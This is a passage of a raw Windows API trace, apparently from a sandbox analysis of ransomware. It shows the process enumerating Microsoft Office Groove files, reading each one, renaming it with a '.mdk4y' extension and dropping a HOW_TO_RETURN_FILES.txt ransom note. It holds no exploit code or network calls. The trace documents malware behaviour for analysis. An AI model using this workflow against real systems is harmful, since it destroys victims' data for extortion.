nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x114c, lpOverlapped=0x0) returned 1 [0221.922] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829715200000) returned 1 [0221.922] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829715200000) returned 1 [0221.923] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\circleiconsmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\circleiconsmask.bmp.mdk4y")) returned 1 [0221.925] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0221.925] AreFileApisANSI () returned 1 [0221.925] GetACP () returned 0x4e4 [0221.925] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MeetingIcon.jpg", cchWideChar=15, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="MeetingIcon.jpg.bmp", lpUsedDefaultChar=0x37dda8) returned 15 [0221.925] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIcon.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\meetingicon.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0221.927] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829715700000) returned 1 [0221.927] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x26ba, lpOverlapped=0x0) returned 1 [0221.931] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829716100000) returned 1 [0221.931] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829716100000) returned 1 [0221.932] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIcon.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\meetingicon.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIcon.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\meetingicon.jpg.mdk4y")) returned 1 [0221.933] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0221.933] AreFileApisANSI () returned 1 [0221.933] GetACP () returned 0x4e4 [0221.933] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MeetingIconMask.bmp", cchWideChar=19, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="MeetingIconMask.bmp", lpUsedDefaultChar=0x37dda8) returned 19 [0221.934] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\meetingiconmask.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0221.935] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829716500000) returned 1 [0221.935] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x6b8, lpOverlapped=0x0) returned 1 [0221.948] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829717800000) returned 1 [0221.948] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829717800000) returned 1 [0221.949] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\meetingiconmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\MeetingIconMask.bmp.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\meetingiconmask.bmp.mdk4y")) returned 1 [0221.950] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0221.950] AreFileApisANSI () returned 1 [0221.950] GetACP () returned 0x4e4 [0221.950] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ProjectStatusIcons.jpg", cchWideChar=22, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="ProjectStatusIcons.jpg28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dda8) returned 22 [0221.950] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIcons.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projectstatusicons.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0221.952] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829718200000) returned 1 [0221.952] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x19e9, lpOverlapped=0x0) returned 1 [0221.979] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829720900000) returned 1 [0221.979] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829720900000) returned 1 [0221.980] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIcons.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projectstatusicons.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIcons.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projectstatusicons.jpg.mdk4y")) returned 1 [0221.982] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0221.982] AreFileApisANSI () returned 1 [0221.982] GetACP () returned 0x4e4 [0221.982] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ProjectStatusIconsMask.bmp", cchWideChar=26, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="ProjectStatusIconsMask.bmpUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dda8) returned 26 [0221.982] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projectstatusiconsmask.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0221.984] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829721400000) returned 1 [0221.984] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0xa10, lpOverlapped=0x0) returned 1 [0221.994] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829722400000) returned 1 [0221.994] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829722400000) returned 1 [0221.995] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projectstatusiconsmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectStatusIconsMask.bmp.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projectstatusiconsmask.bmp.mdk4y")) returned 1 [0221.997] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0221.997] AreFileApisANSI () returned 1 [0221.997] GetACP () returned 0x4e4 [0221.997] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ProjectTaskIcon.jpg", cchWideChar=19, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="ProjectTaskIcon.jpgask.bmp", lpUsedDefaultChar=0x37dda8) returned 19 [0221.997] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIcon.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttaskicon.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0221.998] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829722800000) returned 1 [0221.998] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x200e, lpOverlapped=0x0) returned 1 [0222.000] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829723000000) returned 1 [0222.000] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829723000000) returned 1 [0222.000] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIcon.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttaskicon.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIcon.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttaskicon.jpg.mdk4y")) returned 1 [0222.002] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0222.002] AreFileApisANSI () returned 1 [0222.002] GetACP () returned 0x4e4 [0222.002] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ProjectTaskIconMask.bmp", cchWideChar=23, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="ProjectTaskIconMask.bmpbmp", lpUsedDefaultChar=0x37dda8) returned 23 [0222.002] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttaskiconmask.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0222.003] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829723300000) returned 1 [0222.003] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x79c, lpOverlapped=0x0) returned 1 [0222.027] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829725700000) returned 1 [0222.027] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829725700000) returned 1 [0222.027] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttaskiconmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttaskiconmask.bmp.mdk4y")) returned 1 [0222.029] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0222.029] AreFileApisANSI () returned 1 [0222.029] GetACP () returned 0x4e4 [0222.029] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ProjectTool", cchWideChar=11, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="ProjectToolIconMask.bmp", lpUsedDefaultChar=0x37dda8) returned 11 [0222.029] AreFileApisANSI () returned 1 [0222.029] GetACP () returned 0x4e4 [0222.029] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6cc010, cbMultiByte=103, lpWideCharStr=0x37db3c, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\") returned 103 [0222.030] AreFileApisANSI () returned 1 [0222.030] GetACP () returned 0x4e4 [0222.030] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aadec, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dd1c) returned 1 [0222.030] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0222.030] AreFileApisANSI () returned 1 [0222.030] GetACP () returned 0x4e4 [0222.030] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aadec, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37dd1c) returned 2 [0222.030] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0222.030] AreFileApisANSI () returned 1 [0222.030] GetACP () returned 0x4e4 [0222.030] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Project Report Type", cchWideChar=19, lpMultiByteStr=0x6aadec, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="Project Report Type", lpUsedDefaultChar=0x37dd1c) returned 19 [0222.030] AreFileApisANSI () returned 1 [0222.030] GetACP () returned 0x4e4 [0222.030] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6be000, cbMultiByte=123, lpWideCharStr=0x37dab0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\l㘜htaȁ") returned 123 [0222.030] AreFileApisANSI () returned 1 [0222.030] GetACP () returned 0x4e4 [0222.030] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6a24a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dc90) returned 1 [0222.030] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0222.030] AreFileApisANSI () returned 1 [0222.030] GetACP () returned 0x4e4 [0222.030] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6a24a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="..:", lpUsedDefaultChar=0x37dc90) returned 2 [0222.030] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0222.030] AreFileApisANSI () returned 1 [0222.030] GetACP () returned 0x4e4 [0222.030] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Basic", cchWideChar=5, lpMultiByteStr=0x6a24a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="Basic", lpUsedDefaultChar=0x37dc90) returned 5 [0222.030] AreFileApisANSI () returned 1 [0222.030] GetACP () returned 0x4e4 [0222.031] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6c0000, cbMultiByte=129, lpWideCharStr=0x37da24, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\") returned 129 [0222.031] AreFileApisANSI () returned 1 [0222.031] GetACP () returned 0x4e4 [0222.031] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6a26dc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc04 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dc04) returned 1 [0222.031] FindNextFileW (in: hFindFile=0x6ab490, lpFindFileData=0x6c3d50 | out: lpFindFileData=0x6c3d50) returned 1 [0222.031] AreFileApisANSI () returned 1 [0222.031] GetACP () returned 0x4e4 [0222.031] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6a26dc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc04 | out: lpMultiByteStr="..v", lpUsedDefaultChar=0x37dc04) returned 2 [0222.031] FindNextFileW (in: hFindFile=0x6ab490, lpFindFileData=0x6c3d50 | out: lpFindFileData=0x6c3d50) returned 1 [0222.031] AreFileApisANSI () returned 1 [0222.031] GetACP () returned 0x4e4 [0222.031] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DEFAULT.XSL", cchWideChar=11, lpMultiByteStr=0x6a26dc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc04 | out: lpMultiByteStr="DEFAULT.XSL", lpUsedDefaultChar=0x37dc04) returned 11 [0222.031] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type\\basic\\default.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x114 [0222.033] QueryPerformanceCounter (in: lpPerformanceCount=0x37db9c | out: lpPerformanceCount=0x37db9c*=1829726300000) returned 1 [0222.033] ReadFile (in: hFile=0x114, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc04, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc04*=0xced, lpOverlapped=0x0) returned 1 [0222.041] QueryPerformanceCounter (in: lpPerformanceCount=0x37db9c | out: lpPerformanceCount=0x37db9c*=1829727100000) returned 1 [0222.041] QueryPerformanceCounter (in: lpPerformanceCount=0x37db9c | out: lpPerformanceCount=0x37db9c*=1829727100000) returned 1 [0222.042] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type\\basic\\default.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type\\basic\\default.xsl.mdk4y")) returned 1 [0222.043] FindNextFileW (in: hFindFile=0x6ab490, lpFindFileData=0x6c3d50 | out: lpFindFileData=0x6c3d50) returned 0 [0222.043] FindClose (in: hFindFile=0x6ab490 | out: hFindFile=0x6ab490) returned 1 [0222.044] AreFileApisANSI () returned 1 [0222.044] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6a26c8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 153 [0222.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type\\basic\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37d93c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0222.045] GetFileType (hFile=0x138) returned 0x1 [0222.046] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0222.046] AreFileApisANSI () returned 1 [0222.046] GetACP () returned 0x4e4 [0222.046] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Fancy", cchWideChar=5, lpMultiByteStr=0x6a24a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="Fancy", lpUsedDefaultChar=0x37dc90) returned 5 [0222.046] AreFileApisANSI () returned 1 [0222.046] GetACP () returned 0x4e4 [0222.046] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6c0000, cbMultiByte=129, lpWideCharStr=0x37da24, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\ĺ瞇銢瞣\x8f") returned 129 [0222.055] AreFileApisANSI () returned 1 [0222.055] GetACP () returned 0x4e4 [0222.055] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6a26dc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc04 | out: lpMultiByteStr=".osoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37dc04) returned 1 [0222.055] FindNextFileW (in: hFindFile=0x6ab490, lpFindFileData=0x6c3d50 | out: lpFindFileData=0x6c3d50) returned 1 [0222.055] AreFileApisANSI () returned 1 [0222.055] GetACP () returned 0x4e4 [0222.055] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6a26dc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc04 | out: lpMultiByteStr="..soft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37dc04) returned 2 [0222.055] FindNextFileW (in: hFindFile=0x6ab490, lpFindFileData=0x6c3d50 | out: lpFindFileData=0x6c3d50) returned 1 [0222.055] AreFileApisANSI () returned 1 [0222.055] GetACP () returned 0x4e4 [0222.055] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Hierarchy.js", cchWideChar=12, lpMultiByteStr=0x6a26dc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc04 | out: lpMultiByteStr="Hierarchy.jse\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37dc04) returned 12 [0222.055] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\Hierarchy.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type\\fancy\\hierarchy.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x114 [0222.056] QueryPerformanceCounter (in: lpPerformanceCount=0x37db9c | out: lpPerformanceCount=0x37db9c*=1829728600000) returned 1 [0222.056] ReadFile (in: hFile=0x114, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc04, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc04*=0x16c5, lpOverlapped=0x0) returned 1 [0222.058] QueryPerformanceCounter (in: lpPerformanceCount=0x37db9c | out: 